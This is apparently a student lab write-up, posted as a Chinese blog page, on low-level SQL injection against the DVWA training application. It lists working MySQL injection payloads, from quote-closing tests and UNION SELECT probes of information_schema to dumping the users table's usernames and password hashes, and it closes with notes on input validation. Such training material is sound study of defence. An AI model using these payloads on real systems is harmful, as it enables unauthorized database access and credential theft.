dvwa低等级的SQL注入的

实验二 基于dvwa低等级的SQL注入的

  • 实验目的

1、熟悉sql注入的基本流程;

2、掌握Mysql中UNION的使用规则。

二、实验步骤

  1. 打开SQL回显注入页面,先尝试输入1查看查询结果
  2. 通过结果猜测SQL语句:select firstname,surname from xxx where id=我们输入的id
  3. 探测是否存在漏洞,输入1'出现了语法错误回显,说明漏洞存在
  4. 三种注入POC(验证性测试,Proof of Concept):
    变量不在引号中:1 or 1024=1024


变量在单引号中:1' or '1024'='1024


变量在双引号中:1" or "1024"="1024

  1. 一一尝试,发现变量是由单引号闭合的
  2. SQL注入中通常需要闭合,如果语句比较复杂,可以用注释符号闭合。MySQL中三种常见的注释符号:#、-- (注意–后的空格)、/**/
  3. 确定查询字段数:1' order by 1--order by是对某一列进行排序显示,通过二分法不断缩小范围最后确定字段数为2
  4. 确定回显点:xx' union select 1,2 #union是对两次查询结果合并显示,结果中查看1,2的位置
  5. 查询数据库信息:xx' union select @@version,@@datadir#
  6. 查询数据库和数据库名:xx' union select user(),database()#
  1. 利用库名查询表名:xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
    利用表名查询列名:xx' union select 1,column_name from information_schema.columns where table_name='users'--
    利用列名查询用户名和密码:xx' union select user,password from users--
  2. 获取用户密码哈希,利用工具获取明文密码

三、实验反思

在进行SQL注入和了解MySQL中UNION使用规则的实验过程中,我获得了一些重要的认识和反思:

安全意识的重要性:

了解SQL注入的原理和方法有助于提高对安全漏洞的认识,以便更好地防范和避免潜在的攻击。

输入验证与过滤:

有效的输入验证和过滤是防止SQL注入攻击的关键。任何接受用户输入的地方都需要进行严格的输入验证和过滤。

掌握数据库操作规则:

对于像 UNION 这样的数据库操作符,理解其使用规则有助于编写更有效和安全的SQL查询语句。

保持更新和学习:

针对数据库安全和注入漏洞,保持学习并了解最新的安全措施和最佳实践,不断更新自己的知识是至关重要的。

总的来说,这个实验帮助我更深入地了解了SQL注入的原理和防范方法,并提醒了我在开发过程中保持严格的输入验证和过滤的重要性,以保障系统的安全性和稳定性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安小趴菜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值